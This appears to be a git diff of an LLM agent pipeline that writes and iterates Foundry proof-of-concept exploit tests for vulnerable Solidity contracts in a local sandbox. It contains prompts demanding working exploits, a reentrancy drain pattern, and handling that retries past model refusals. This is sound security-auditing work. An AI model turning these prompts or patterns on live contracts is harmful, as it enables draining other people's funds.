+function routeAfterAgent(state: PoCState): "pocoToolsNode" | typeof END {
+  // If we hit limits, stop
+  if (state.status === "failed" || state.status === "timeout") {
+    return END;
+  }
+  
+  const messages = state.messages;
+  const lastMessage = messages[messages.length - 1];
+  
+  // If the LLM made tool calls, route to tools
+  if ("tool_calls" in lastMessage && Array.isArray(lastMessage.tool_calls) && lastMessage.tool_calls.length > 0) {
+    return "pocoToolsNode";
+  }
+  
+  // Otherwise, the LLM has finished its reasoning/execution
+  return END;
+}
+
+// A simple node to update the toolCallCount after tools run
+function trackToolCallsNode(state: PoCState): Partial<PoCState> {
+  const messages = state.messages;
+  const lastMessage = messages[messages.length - 1];
+  
+  let newStatus = state.status;
+  if (lastMessage && lastMessage._getType() === "tool" && lastMessage.name === "smart_contract_test") {
+    if (typeof lastMessage.content === "string" && lastMessage.content.includes("Test Passed Successfully!")) {
+      newStatus = "success";
+    }
+  }
+
+  return {
+    toolCallCount: 1, // reducer is additive (+1)
+    status: newStatus,
+  };
+}
+
+function routeAfterTools(state: PoCState): "pocoAgentNode" | typeof END {
+  if (state.status === "success") {
+    return END;
+  }
+  return "pocoAgentNode";
+}
+
+const graphBuilder = new StateGraph(PoCStateAnnotation)
+  .addNode("oracleNode", oracleNode)
+  .addNode("routerNode", routerNode)
+  .addNode("pocoAgentNode", pocoAgentNode)
+  .addNode("pocoToolsNode", pocoToolsNode)
+  .addNode("trackToolCallsNode", trackToolCallsNode)
+  
+  .addEdge(START, "oracleNode")
+  .addEdge("oracleNode", "routerNode")
+  .addEdge("routerNode", "pocoAgentNode")
+  
+  // ReAct Loop Routing
+  .addConditionalEdges("pocoAgentNode", routeAfterAgent, {
+    pocoToolsNode: "pocoToolsNode",
+    [END]: END,
+  })
+  
+  // After tools execute, track the count, then loop back to agent
+  .addEdge("pocoToolsNode", "trackToolCallsNode")
+  .addConditionalEdges("trackToolCallsNode", routeAfterTools, {
+    pocoAgentNode: "pocoAgentNode",
+    [END]: END,
+  });
+
+export const testerAgentGraph = graphBuilder.compile();

src/agents/tester/index.ts

@@ -1,27 +0,0 @@
-import { testerAgent } from "./agent.js";
-import { VulnerabilityReport, PoCResult } from "./types.js";
-
-/**
- * Entry point para o Agente Gerador de PoCs.
- * @param report O relatório de vulnerabilidade (mapeado a partir do Finding do Auditor).
- * @returns PoCResult contendo o código do exploit e o status da execução.
- */
-export async function runPoCGenerator(report: VulnerabilityReport): Promise<PoCResult> {
-  console.log(`[runPoCGenerator] Iniciando para: ${report.id} — ${report.title}`);
-
-  const finalState = await testerAgent.invoke({ report }, { recursionLimit: 100 });
-
-  const result: PoCResult = {
-    reportId:      report.id,
-    status:        finalState.status === "running" ? "failed" : finalState.status,
-    solidityCode:  finalState.pocCode,
-    executionLogs: finalState.executionLogs,
-    iterations:    finalState.iterations,
-  };
-
-  console.log(`[runPoCGenerator] Concluído — status=${result.status}, iterações=${result.iterations}`);
-  return result;
-}
-
-export type { VulnerabilityReport, PoCResult, Finding, OracleContext } from "./types.js";
-export { testerAgent } from "./agent.js";

src/agents/tester/nodes.ts

@@ -1,242 +0,0 @@
-import { SystemMessage, HumanMessage } from "@langchain/core/messages";
-import { PoCState } from "./state.js";
-import { 
-  INFRASTRUCTURE_PROMPT, 
-  INFRA_FIX_PROMPT, 
-  EXPLOIT_INJECTION_PROMPT, 
-  EXPLOIT_FIX_PROMPT 
-} from "./prompts/system.js";
-import { extractSolidity } from "./utils/extractSolidity.js";
-import { createLLM } from "../../config/llm.ts";
-import { createSearchCodebaseTool, createReadFileTool } from "./tools/codebaseTools.js";
-import { AIMessage, ToolMessage } from "@langchain/core/messages";
-
-// Models
-const smartLlm = createLLM(undefined, "google/gemini-3-flash-preview");
-const fastLlm = createLLM(undefined, "google/gemini-3.1-flash-lite");
-
-// --- INFRASTRUCTURE LOOP ---
-
-export async function generateInfrastructureNode(state: PoCState): Promise<Partial<PoCState>> {
-  const { report, oracleContext, executionLogs, iterations, lastError } = state;
-  const isRetry = !!lastError;
-
-  let systemPrompt = INFRASTRUCTURE_PROMPT.replace("{TARGET_NAME}", report.affectedContract.name);
-  let userMessage = "";
-
-  if (!isRetry) {
-    userMessage = `Please generate the Template.
-    
-### Scaffold:
-\`\`\`solidity
-${oracleContext!.solidityScaffold}
-\`\`\`
-
-### Remappings:
-\`\`\`
-${oracleContext!.projectRemappings}
-\`\`\`
-
-### Import Example:
-\`\`\`solidity
-${oracleContext!.projectTestImports}
-\`\`\``;
-  } else {
-    systemPrompt = INFRA_FIX_PROMPT.replace("{ERROR_DETAILS}", lastError ?? "");
-    userMessage = `The template failed to compile or execute.
-    
-### Previous Template:
-\`\`\`solidity
-${state.templateCode}
-\`\`\`
-
-Fix the issues and return the updated template. Ensure the target is actually instantiated!`;
-  }
-
-  console.log(`[infraNode] Generating template... Retry: ${isRetry}`);
-
-  const sandboxDir = state.report.customSandboxDir || "./sandbox";
-  const searchTool = createSearchCodebaseTool(sandboxDir);
-  const readTool = createReadFileTool(sandboxDir);
-  const tools = [searchTool, readTool];
-  const llmWithTools = fastLlm.bindTools(tools);
-
-  const messages: any[] = [
-    new SystemMessage(systemPrompt),
-    new HumanMessage(userMessage)
-  ];
-
-  let iterationsInLoop = 0;
-  const maxIterations = 5;
-  let rawContent = "";
-
-  while (iterationsInLoop < maxIterations) {
-    console.log(`[infraNode] ReAct loop iteration ${iterationsInLoop + 1}`);
-    const response = await llmWithTools.invoke(messages);
-    messages.push(response);
-
-    if (response.tool_calls && response.tool_calls.length > 0) {
-      for (const toolCall of response.tool_calls) {
-        let toolResult = "";
-        try {
-          if (toolCall.name === "searchCodebase") {
-            toolResult = await searchTool.invoke(toolCall.args);
-          } else if (toolCall.name === "readFile") {
-            toolResult = await readTool.invoke(toolCall.args);
-          } else {
-            toolResult = "Unknown tool.";
-          }
-        } catch (e: any) {
-          toolResult = `Error executing tool: ${e.message}`;
-        }
-        
-        messages.push(new ToolMessage({
-          tool_call_id: toolCall.id!,
-          name: toolCall.name,
-          content: toolResult,
-        }));
-      }
-    } else {
-      rawContent = response.content as string;
-      break;
-    }
-    iterationsInLoop++;
-  }
-
-  if (!rawContent) {
-    const lastMsg = messages[messages.length - 1];
-    rawContent = (lastMsg instanceof AIMessage && typeof lastMsg.content === 'string') 
-      ? lastMsg.content 
-      : `// [LLM_ERROR] Reached max tool iterations without returning final code.`;
-  }
-  let templateCode = "";
-  try {
-    templateCode = extractSolidity(rawContent);
-  } catch (e: any) {
-    // If extraction fails (e.g., safety refusal), return a mock invalid file
-    templateCode = `// [LLM_REFUSAL_OR_ERROR] ${e.message}\n// Raw Output: ${rawContent.slice(0, 200)}`;
-  }
-
-  return {
-    templateCode,
-    pocCode: templateCode, // Temporarily treat template as poc to run compiler
-    iterations: 1, // Overall
-    infraIterations: 1
-  };
-}
-
-// --- EXPLOIT LOOP ---
-
-export async function generateExploitNode(state: PoCState): Promise<Partial<PoCState>> {
-  const { vulnerabilityAnalysis, templateCode, exploitBody, executionLogs, lastError, iterations } = state;
-  
-  // We transition from infra to exploit loop
-  const isRetry = state.infrastructurePhase === false;
-
-  let systemPrompt = EXPLOIT_INJECTION_PROMPT.replace("{TEMPLATE_CODE}", templateCode);
-  let userMessage = "";
-
-  if (!isRetry) {
-    userMessage = `Please inject the exploit logic based on this analysis:
-    
-${vulnerabilityAnalysis}`;
-  } else {
-    systemPrompt = EXPLOIT_FIX_PROMPT
-      .replace("{ERROR_DETAILS}", lastError ?? "")
-      .replace("{EXPLOIT_BODY}", exploitBody);
-    userMessage = `The exploit failed. Please rewrite the body of test_Exploit().`;
-  }
-
-  console.log(`[exploitNode] Generating hack... Retry: ${isRetry}`);
-  
-  const sandboxDir = state.report.customSandboxDir || "./sandbox";
-  const searchTool = createSearchCodebaseTool(sandboxDir);
-  const readTool = createReadFileTool(sandboxDir);
-  const tools = [searchTool, readTool];
-  const llmWithTools = smartLlm.bindTools(tools);
-
-  const messages: any[] = [
-    new SystemMessage(systemPrompt),
-    new HumanMessage(userMessage)
-  ];
-
-  let iterationsInLoop = 0;
-  const maxIterations = 5;
-  let rawContent = "";
-
-  while (iterationsInLoop < maxIterations) {
-    console.log(`[exploitNode] ReAct loop iteration ${iterationsInLoop + 1}`);
-    const response = await llmWithTools.invoke(messages);
-    messages.push(response);
-
-    if (response.tool_calls && response.tool_calls.length > 0) {
-      for (const toolCall of response.tool_calls) {
-        let toolResult = "";
-        try {
-          if (toolCall.name === "searchCodebase") {
-            toolResult = await searchTool.invoke(toolCall.args);
-          } else if (toolCall.name === "readFile") {
-            toolResult = await readTool.invoke(toolCall.args);
-          } else {
-            toolResult = "Unknown tool.";
-          }
-        } catch (e: any) {
-          toolResult = `Error executing tool: ${e.message}`;
-        }
-        
-        messages.push(new ToolMessage({
-          tool_call_id: toolCall.id!,
-          name: toolCall.name,
-          content: toolResult,
-        }));
-      }
-    } else {
-      rawContent = response.content as string;
-      break;
-    }
-    iterationsInLoop++;
-  }
-
-  if (!rawContent) {
-    const lastMsg = messages[messages.length - 1];
-    rawContent = (lastMsg instanceof AIMessage && typeof lastMsg.content === 'string') 
-      ? lastMsg.content 
-      : `// [LLM_ERROR] Reached max tool iterations without returning final code.`;
-  }
-
-  // --- GUARDRAIL: Catch comments immediately before Foundry ---
-  // The system prompts forbid // and /*. If the LLM still generates them (except SPDX/INJECT),
-  // we catch it here to save a slow Foundry roundtrip.
-  let newExploitBody = "";
-  try {
-    newExploitBody = extractSolidity(rawContent);
-    const codeLines = newExploitBody.split('\n');
-    const hasIllegalComments = codeLines.some(line => {
-      const t = line.trim();
-      if (t.startsWith("// SPDX-License-Identifier:") || t.includes("// INJECT_HACK")) return false;
-      return t.includes("//") || t.includes("/*");
-    });
-    
-    if (hasIllegalComments) {
-      throw new Error("[GUARDRAIL_ERROR] You added a comment in the code. This is STRICTLY FORBIDDEN. Write the actual code instead of comments. Do NOT use '//' or '/*' (except for SPDX).");
-    }
-  } catch (e: any) {
-    // Return the generated code + error so the reflection loop catches it
-    return {
-      pocCode: rawContent, // pass raw so reflect node can see the mistake
-      lastError: e.message,
-      exploitIterations: state.exploitIterations + 1
-    };
-  }
-  
-  // The Exploit LLM now outputs the FULL file
-  const pocCode = newExploitBody;
-
-  return {
-    exploitBody: newExploitBody,
-    pocCode: pocCode, // This is the final runnable file
-    infrastructurePhase: false, // Transition permanently to exploit loop
-    iterations: state.iterations + 1,
-    exploitIterations: state.exploitIterations + 1
-  };
-}

src/agents/tester/nodes/oracle.ts

@@ -0,0 +1,116 @@
+import fs from "fs/promises";
+import path from "path";
+import { PoCState } from "../state.js";
+import { generateLocalScaffold } from "../tools/scaffoldGenerator.js";
+import { extractConstructor } from "../utils/parserUtils.js";
+import { analyzeSolidityFile } from "../../auditor/tools/solidity-analyzer-tool.js";
+import { extractProjectContext } from "../utils/projectContextExtractor.js";
+import { createMissingDependencyStubs } from "../utils/dependencyStubber.js";
+import { OracleContext } from "../types.js";
+
+export async function oracleNode(state: PoCState): Promise<Partial<PoCState>> {
+  console.log("[oracleNode] gerando scaffold para:", state.report.title);
+
+  const solidityScaffold = generateLocalScaffold(state.report);
+  
+  const constructorInfo = extractConstructor(state.report.affectedContract.sourceCode, state.report.affectedContract.name);
+  
+  console.log("[oracleNode] analisando API do contrato e helpers de teste...");
+  const targetContractAPI = await analyzeSolidityFile(state.report.affectedContract.sourceCode, "short");
+  
+  let referenceTestHelpers = "";
+  if (state.report.referenceTestCode) {
+    referenceTestHelpers = await analyzeSolidityFile(state.report.referenceTestCode, "short");
+  }
+
+  let projectRemappings = "";
+  let projectTestImports = "";
+  let projectTestFilePath: string | null = null;
+  if (state.report.customSandboxDir) {
+    console.log("[oracleNode] extracting project context (remappings, test imports)...");
+    try {
+      const projectCtx = await extractProjectContext(state.report.customSandboxDir);
+      projectRemappings = projectCtx.remappings;
+      projectTestImports = projectCtx.existingTestImports;
+      projectTestFilePath = projectCtx.existingTestFilePath;
+    } catch (e) {
+      console.warn("[oracleNode] could not extract project context:", (e as Error).message);
+    }
+
+    try {
+      const testDir = path.join(state.report.customSandboxDir, "test");
+      const testEntries = await fs.readdir(testDir, { withFileTypes: true }).catch(() => []);
+      let removed = 0;
+      for (const entry of testEntries) {
+        if (entry.isFile() && entry.name.endsWith(".t.sol") && entry.name !== "Exploit.t.sol") {
+          await fs.unlink(path.join(testDir, entry.name));
+          removed++;
+        }
+      }
+    } catch (e) {
+      console.warn("[oracleNode] test cleanup failed:", (e as Error).message);
+    }
+
+    try {
+      await createMissingDependencyStubs(state.report.customSandboxDir);
+    } catch (e) {
+      console.warn("[oracleNode] stub creation failed:", (e as Error).message);
+    }
+  }
+
+  const oracleContext: OracleContext = { 
+    solidityScaffold,
+    constructorInfo: constructorInfo?.parameters,
+    targetContractAPI,
+    referenceTestHelpers,
+    projectRemappings,
+    projectTestImports,
+    projectTestFilePath,
+  };
+
+  // DETERMINISTIC TEMPLATE GENERATION
+  const targetName = state.report.affectedContract.name;
+  let setupArgs = "";
+  if (constructorInfo?.parameters && Array.isArray(constructorInfo.parameters)) {
+    const params = constructorInfo.parameters.map((p: any) => p.type === "address" ? "address(this)" : "0").join(", ");
+    setupArgs = params;
+  }
+
+  // Parse projectTestImports to extract only the import paths if any
+  let imports = `import "forge-std/Test.sol";\nimport "forge-std/console.sol";`;
+  if (projectTestImports) {
+    imports += "\n" + projectTestImports;
+  }
+  
+  // Use relative path for target based on report or assume src/
+  const targetFile = state.report.affectedContract.sourceFilePath ? `../${state.report.affectedContract.sourceFilePath}` : `../src/${targetName}.sol`;
+  imports += `\nimport { ${targetName} } from "${targetFile}";`;
+
+  const templateCode = `// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.0;
+
+${imports}
+
+contract ExploitTest is Test {
+    ${targetName} target;
+    address constant ATTACKER = address(0xBEEF);
+
+    function setUp() public virtual {
+        target = new ${targetName}(${setupArgs});
+        vm.deal(ATTACKER, 100 ether);
+        require(address(target) != address(0), "Target must be deployed");
+    }
+
+    function test_Exploit() public {
+        // INJECT_HACK
+    }
+}`;
+
+  console.log("[oracleNode] scaffold gerado, context built. Deterministic Template generated.");
+  return { 
+    oracleContext, 
+    templateCode, 
+    pocCode: templateCode, // Sets initial state so foundry can try compiling it
+    infrastructurePhase: false // SKIPPING INFRA LOOP!
+  };
+}

src/agents/tester/nodes/pocoAgent.ts

@@ -0,0 +1,114 @@
+import { HumanMessage, SystemMessage, AIMessage } from "@langchain/core/messages";
+import { PoCState } from "../state.js";
+import { pocoTools } from "../tools.js";
+import { createLLM } from "../../../config/llm.js";
+
+const MAX_STEPS = 30; // Max tool calls threshold
+const MAX_COST_USD = 3.0; // Max cost threshold
+
+// Initialize the model and bind tools
+const model = createLLM().bindTools(pocoTools);
+
+const POCO_SYSTEM_PROMPT = `You are an expert smart contract security testing specialist. Generate executable Proof-of-Concept (PoC) exploits demonstrating vulnerabilities using Foundry.
+
+## PoC Explainability
+Write exploits as executable demonstrations that clearly prove the vulnerability. Include detailed comments documenting each attack step, the vulnerability being exploited, and why the exploit succeeds. The PoC must be self-explanatory to security auditors.
+
+## Vulnerability Analysis
+Parse the vulnerability description (annotation) and analyze the vulnerability type, affected code sections, and potential impact. Analyze the contract logic to understand the root cause before developing exploits.
+
+## Testing Framework Guidelines
+Use Foundry exclusively for testing. Implement proper \`setUp()\` functions with realistic contract states: i.e. initializing contracts with typical production values (reasonable token balances, realistic timestamps, standard protocol roles assigned). Utilize Foundry cheatcodes for test control: \`vm.prank()\` for identity switching, \`vm.deal()\` for ETH funding, \`vm.warp()\` for time manipulation, \`vm.expectRevert()\` for failure testing. Structure tests following Foundry conventions with clear test function names prefixed with \`test\`.
+
+## PoC Executability
+Ensure all generated code compiles successfully with the specified Solidity version. Verify that tests pass (exploits vulnerability) when the vulnerability exists and fail when properly patched. Use \`smart_contract_compile\` and \`smart_contract_test\` to validate. Resolve all compilation errors, import issues, and version conflicts while preserving original contract logic.
+
+## Iterative Refinement
+Debug compilation errors, test failures, and logical inconsistencies systematically using forge output and detailed error messages. For import path errors, use \`grep_search\` to find the correct pattern. Continuously improve until tests compile, execute successfully, and accurately demonstrate the vulnerability. If stuck on the same technical issue for >3 attempts, shift to a minimal working demonstration—proving the vulnerability exists matters more than perfect test coverage or setup complexity.
+
+## Exploit Soundness
+Ensure exploits logically reflect the described vulnerability. The attack vector must accurately represent the security issue. Avoid false positives—exploits should fail if the vulnerability is fixed. Verify that the PoC demonstrates the actual impact described in the vulnerability description (annotation).
+
+## Exploit Quality
+Keep PoCs minimal and focused. Write only the test file—never modify contracts under test or the original codebase. Reuse existing test infrastructure when available. Create helper contracts or mocks only when the exploit requires them. Avoid assumptions about undocumented contract behavior.`;
+
+function calculateCost(inputTokens: number, outputTokens: number): number {
+  // Claude 3.5 Sonnet pricing: $3.00 / 1M input tokens, $15.00 / 1M output tokens
+  const inputCost = (inputTokens / 1_000_000) * 3.0;
+  const outputCost = (outputTokens / 1_000_000) * 15.0;
+  return inputCost + outputCost;
+}
+
+export async function pocoAgentNode(state: PoCState): Promise<Partial<PoCState>> {
+  let messages = state.messages || [];
+
+  // Check limits
+  if (state.toolCallCount >= MAX_STEPS) {
+    return {
+      status: "failed",
+      lastError: `Max tool calls (${MAX_STEPS}) exceeded.`,
+    };
+  }
+  if (state.totalCost >= MAX_COST_USD) {
+    return {
+      status: "failed",
+      lastError: `Max cost ($${MAX_COST_USD}) exceeded. Current cost: $${state.totalCost.toFixed(2)}`,
+    };
+  }
+
+  // If this is the first iteration, inject system prompt and task prompt
+  let initialMessages: any[] = [];
+  if (messages.length === 0) {
+    const sandboxDir = state.report.customSandboxDir || process.cwd();
+    const targetFile = state.report.affectedContract.sourceFilePath || state.report.affectedContract.name;
+    const desc = state.report.description || state.report.title;
+    
+    // Original PoCo prompt
+    const taskPrompt = `Create a vulnerability exposing PoC forge test for the vulnerable contract at ${targetFile} using the vulnerability description: ${desc}. Use the write_file tool to save your PoC code to test/Exploit.t.sol. Write ONLY the test file, test ONLY the described vulnerability, and do NOT modify the original contract. Iterate on compilation, test, and logical errors using the smart_contract_compile and smart_contract_test tools. You are done when the test compiles and successfully demonstrates the vulnerability through passing assertions. Note: your execution sandbox is ${sandboxDir}. Ensure all commands target this directory.`;
+
+    initialMessages = [
+      new SystemMessage(POCO_SYSTEM_PROMPT),
+      new HumanMessage(taskPrompt)
+    ];
+    messages = initialMessages;
+  }
+
+  // Invoke model
+  console.log(`[pocoAgent] Invoking model (Steps: ${state.toolCallCount}/${MAX_STEPS}, Cost: $${state.totalCost.toFixed(2)})...`);
+  let response;
+  let runCost = 0;
+  
+  let attempts = 0;
+  while (attempts < 3) {
+    try {
+      response = await model.invoke(messages, {
+        configurable: { sandboxDir: state.report.customSandboxDir || process.cwd() }
+      });
+      
+      // Calculate costs
+      if (response.response_metadata?.tokenUsage) {
+        const usage: any = response.response_metadata.tokenUsage;
+        runCost = calculateCost(usage.promptTokens || usage.input_tokens || usage.prompt_tokens || 0, usage.completionTokens || usage.output_tokens || usage.completion_tokens || 0);
+      }
+      break; // Success, exit retry loop
+    } catch (err: any) {
+      attempts++;
+      console.log(`[pocoAgent] API Error (attempt ${attempts}): ${err.message}`);
+      if (attempts >= 3) {
+        return {
+          messages: [new HumanMessage(`Model API Error after 3 attempts: ${err.message}.`)],
+          status: "failed",
+          lastError: err.message
+        };
+      }
+      // Wait 10 seconds before retrying (in case of strict rate limits)
+      await new Promise(r => setTimeout(r, 10000));
+    }
+  }
+
+  return {
+    messages: [...initialMessages, response],
+    totalCost: runCost,
+    iterations: 1, // Add 1 to total iterations tracking
+  };
+}

src/agents/tester/nodes/router.ts

@@ -0,0 +1,32 @@
+import { PoCState } from "../state.js";
+
+export const CATEGORY_REENTRANCY = "REENTRANCY";
+export const CATEGORY_ACCESS_CONTROL = "ACCESS_CONTROL";
+export const CATEGORY_ARITHMETIC = "ARITHMETIC";
+export const CATEGORY_LOGIC = "LOGIC";
+export const CATEGORY_DEFAULT = "DEFAULT";
+
+export async function routerNode(state: PoCState): Promise<Partial<PoCState>> {
+  console.log("[routerNode] Classifying vulnerability deterministically...");
+
+  const type = (state.report.type || "").toLowerCase();
+  const desc = (state.report.description || "").toLowerCase();
+  
+  const combined = `${type} ${desc}`;
+
+  let category = CATEGORY_DEFAULT;
+
+  if (combined.includes("reentrancy") || combined.includes("re-entrancy") || combined.includes("fallback")) {
+    category = CATEGORY_REENTRANCY;
+  } else if (combined.includes("access control") || combined.includes("unauthorized") || combined.includes("onlyowner") || combined.includes("permission")) {
+    category = CATEGORY_ACCESS_CONTROL;
+  } else if (combined.includes("overflow") || combined.includes("underflow") || combined.includes("arithmetic") || combined.includes("math")) {
+    category = CATEGORY_ARITHMETIC;
+  } else if (combined.includes("logic") || combined.includes("validation") || combined.includes("bypass")) {
+    category = CATEGORY_LOGIC;
+  }
+
+  console.log(`[routerNode] Classified as: ${category}`);
+
+  return { vulnerabilityCategory: category };
+}

src/agents/tester/prompts/system.ts

@@ -1,297 +0,0 @@
-export const SYSTEM_PROMPT = `You are an expert smart contract security testing specialist. Your mission is to generate executable Proof-of-Concept (PoC) exploits demonstrating vulnerabilities using Foundry.
-
-## General Guidelines
-- Use Foundry exclusively.
-- Use \`vm.prank()\`, \`vm.deal()\`, \`vm.warp()\`, \`vm.expectRevert()\` as needed.
-- **NO PLACEHOLDER TESTS OR TAUTOLOGIES:** Never write a test that only contains \`assertTrue(true)\` or asserts a constant against a constant (e.g. \`assertEq(DEFAULT_ADMIN_ROLE, 0x00)\`). You MUST use concrete assertions to prove a STATE CHANGE caused by the exploit.
-- **NO MOCKS:** You must test the actual contract from the repository. Do not declare \`contract Mock\` in the test.
-- **Context Compliance:** Reuse existing imports and setup patterns found in the provided code/reference tests.
-- DO NOT rename \`test_Exploit()\`.
-`.trim();
-
-export const ANALYZE_VULNERABILITY_PROMPT = `You are an expert smart contract security analyst. Analyze the vulnerability in the following Solidity contract.
-
-Focus on understanding the root cause and the precise mechanism needed to trigger it in a Foundry test.
-
-Please provide a concise technical plan covering:
-1. **Root cause**: What exactly is the bug at the code level?
-2. **Trigger conditions**: What state must the contract be in? What parameters or roles are needed?
-3. **Exploit steps**: Numbered, concrete step-by-step actions to trigger the vulnerability.
-4. **Assertion**: What specific \`assertEq\` / \`assertGt\` / \`assertLt\` statement will prove the vulnerability exists AND would fail if the vulnerability were patched? (e.g., "assertGt(attacker.balance, initialBalance)" or "assertEq(owner, attacker)")
-
-Be precise and actionable. Your plan will be directly used to write Foundry test code.
-`.trim();
-
-export const POC_INITIAL_PROMPT = `You are an expert smart contract security tester. Based on the vulnerability analysis plan provided, generate a complete Foundry Proof of Concept (PoC) test file.
-
-## CRITICAL IMPORT RULES
-- You MUST use the project's own import paths (see "Project Remappings" and "Import Pattern from Existing Test" if provided).
-- If remappings are provided (e.g., \`@openzeppelin/=lib/openzeppelin-contracts/\`), use them exactly as listed.
-- If an existing test shows \`import {Foo} from "project/Foo.sol"\`, follow that exact pattern.
-- If you are NOT sure about the import path for an external dependency, AVOID importing it. Use a minimal interface or mock instead.
-- The contract under test is already in the sandbox — use a relative import like \`import { ContractName } from "../src/ContractName.sol"\` unless remappings say otherwise.
-
-## QUALITY RULES
-- The final assertion MUST prove the vulnerability. It should use assertEq, assertGt, assertLt, assertGe, assertLe, or assertNotEq with meaningful values.
-- NEVER write \`assertTrue(true)\` or \`assert(true)\`. This is an automatic failure.
-- The assertion must be specific enough that it would FAIL on a patched version of the contract.
-- Output ONLY a single \`\`\`solidity ... \`\`\` block with the complete file.
-
-## FALLBACK STRATEGY
-If the contract has complex dependencies that are hard to mock, use this minimal approach:
-1. Declare a minimal interface for the contract with only the functions you need.
-2. Deploy the real contract by importing it directly (relative path).
-3. Call the vulnerable function directly without complex setup.
-`.trim();
-
-export const POC_COMPILE_FIX_PROMPT = `The previous PoC test FAILED TO COMPILE. You must fix ALL compilation errors and return the complete corrected file.
-
-## IMPORT ERROR STRATEGY (most common fix)
-If the error is about a missing source file or identifier not found:
-1. Check the "Project Remappings" provided — use those exact paths.
-2. Check the "Import Pattern from Existing Test" — copy those import statements exactly.
-3. If you cannot find the right import path, REMOVE that import and replace it with a minimal interface:
-   \`\`\`solidity
-   interface IERC20 { function transfer(address to, uint256 amount) external returns (bool); }
-   \`\`\`
-4. NEVER guess an import path. Only use paths you can verify from the remappings or existing test.
-
-## OTHER COMPILATION FIXES
-- Missing type members: declare a minimal struct/interface instead of importing the full library.
-- Visibility errors: check that you're calling public/external functions only.
-- Type mismatches: cast explicitly (e.g., \`uint256(value)\`, \`address(contract)\`).
-- ABI encoding errors: use \`abi.encodeWithSelector(Contract.func.selector, args)\`.
-
-## STRICT RULE
-Return the FULL corrected Solidity file in a \`\`\`solidity\`\`\` block. Fix ALL errors in one pass.
-`.trim();
-
-export const POC_TEST_FIX_PROMPT = `The PoC compiled successfully but FAILED DURING EXECUTION (revert or assertion failure). Fix the test logic.
-
-## REVERT DIAGNOSIS
-If the test reverted without a message:
-1. The call order may be wrong — check what preconditions the contract requires.
-2. A role/permission may be missing — use \`vm.prank(owner)\` to set up roles first.
-3. The contract may need funding — use \`vm.deal(address(contract), amount)\`.
-4. A previous transaction may have changed state — check ordering carefully.
-5. **"call to non-contract address"**: The contract was not deployed yet — you must deploy it in setUp() first.
-
-## ASSERTION FAILURE DIAGNOSIS
-If the assertion failed (values didn't match expected):
-1. The exploit logic is incorrect — re-read the vulnerability description carefully.
-2. The vulnerable code path may not be reached — trace with intermediate assertions.
-3. The assertion values may be wrong — recalculate what the expected outcome should be.
-
-## REENTRANCY PATTERN
-If testing a reentrancy vulnerability, add a callback to ExploitTest:
-\`\`\`solidity
-uint256 public reentrancyCount;
-uint256 public stolenAmount;
-
-receive() external payable {
-    if (reentrancyCount < 3 && address(target).balance > 0) {
-        reentrancyCount++;
-        target.withdraw(/* same amount */);
-    }
-    stolenAmount += msg.value;
-}
-\`\`\`
-Then assert: \`assertGt(stolenAmount, initialDeposit, "Reentrancy drained more than deposited")\`
-
-## UNCHECKED RETURN VALUE PATTERN
-If testing unchecked external call return values:
-\`\`\`solidity
-// The contract ignores the return value of an external call
-// You can demonstrate by causing the call to fail while the contract still proceeds
-bool callSucceeded = target.doExternalCall(params);
-// If the vulnerability is that a false return is ignored:
-assertFalse(callSucceeded, "External call returned false but was ignored");
-// Or show the state changed incorrectly:
-assertEq(target.state(), wrongValue, "State updated despite failed external call");
-\`\`\`
-
-## MINIMAL VIABLE EXPLOIT RULE
-If after 2+ failed attempts you cannot get the full exploit to work:
-- Simplify to the most minimal version that demonstrates the bug.
-- A partial demonstration (e.g., wrong state, unauthorized access) is better than nothing.
-- Focus on the ASSERTION — it must prove the vulnerability exists.
-
-## STRICT RULE
-Return the FULL corrected Solidity file in a \`\`\`solidity\`\`\` block. Fix ALL errors in one pass.
-`.trim();
-
-export const POC_MINIMAL_INTERFACE_PROMPT = `The PoC has failed to compile multiple times due to import errors. You MUST now use the MINIMAL INTERFACE STRATEGY.
-
-## MANDATORY RULES — READ CAREFULLY
-1. **REMOVE ALL EXTERNAL IMPORTS** — Do NOT import any library or contract except \`forge-std/Test.sol\`.
-2. **DECLARE EVERYTHING INLINE** — Declare minimal interfaces for every external type you need:
-
-\`\`\`solidity
-// Example minimal interfaces — adapt to your contract
-interface ITargetContract {
-    function vulnerableFunction(uint256 amount) external returns (bool);
-    function balanceOf(address account) external view returns (uint256);
-    function owner() external view returns (address);
-}
-
-interface IERC20 {
-    function transfer(address to, uint256 amount) external returns (bool);
-    function approve(address spender, uint256 amount) external returns (bool);
-    function balanceOf(address account) external view returns (uint256);
-}
-\`\`\`
-
-3. **USE address() CASTS** — If you need a contract type, cast from address: \`ITargetContract(contractAddress)\`
-4. **DEPLOY WITH low-level calls if needed** — If you cannot import the contract, use \`address(new bytes(code))\` or \`ITargetContract(deployedAddress)\`
-5. **THE CONTRACT UNDER TEST IS AT A RELATIVE PATH** — If you must import it, use ONLY: \`import "../src/ContractName.sol"\` (the only safe import besides forge-std)
-
-## TEMPLATE
-\`\`\`solidity
-// SPDX-License-Identifier: UNLICENSED
-pragma solidity ^0.8.0;
-
-import "forge-std/Test.sol";
-
-// Declare ONLY the functions you actually call:
-interface ITarget {
-    function theVulnerableFunction(uint256 x) external;
-    function someGetter() external view returns (uint256);
-}
-
-contract ExploitTest is Test {
-    ITarget target;
-    address constant ATTACKER = address(0xBEEF);
-
-    function setUp() public {
-        // Import only if absolutely needed — otherwise use the interface
-        // target = ITarget(address(new RealContract(constructorArgs)));
-        vm.deal(ATTACKER, 100 ether);
-    }
-
-    function test_Exploit() public {
-        uint256 before = target.someGetter();
-        vm.prank(ATTACKER);
-        target.theVulnerableFunction(/* exploit args */);
-        uint256 after_ = target.someGetter();
-        assertGt(after_, before, "Vulnerability confirmed: value changed unexpectedly");
-    }
-}
-\`\`\`
-
-Return the FULL corrected Solidity file in a \`\`\`solidity\`\`\` block. Use ONLY forge-std imports and inline interfaces.
-`.trim();
-
-// ==========================================
-// NEW TEMPLATE INJECTION ARCHITECTURE PROMPTS
-// ==========================================
-
-export const INFRASTRUCTURE_PROMPT = `You are a Smart Contract Testing Infrastructure Engineer. Your ONLY job is to create a compiling Foundry test template.
-DO NOT WRITE THE EXPLOIT.
-
-## Rules
-1. Create a contract named \`ExploitTest\` inheriting from \`Test\` (or the project's base test).
-2. Write all necessary \`import\` statements using the provided Project Remappings and existing test examples. If you are unsure where a required struct or contract is defined, **USE YOUR TOOLS (searchCodebase, readFile)** to find it. DO NOT GUESS import paths!
-3. Write ONLY the \`setUp()\` function. It must DEPLOY the target contract, fund the attacker, and prepare the environment.
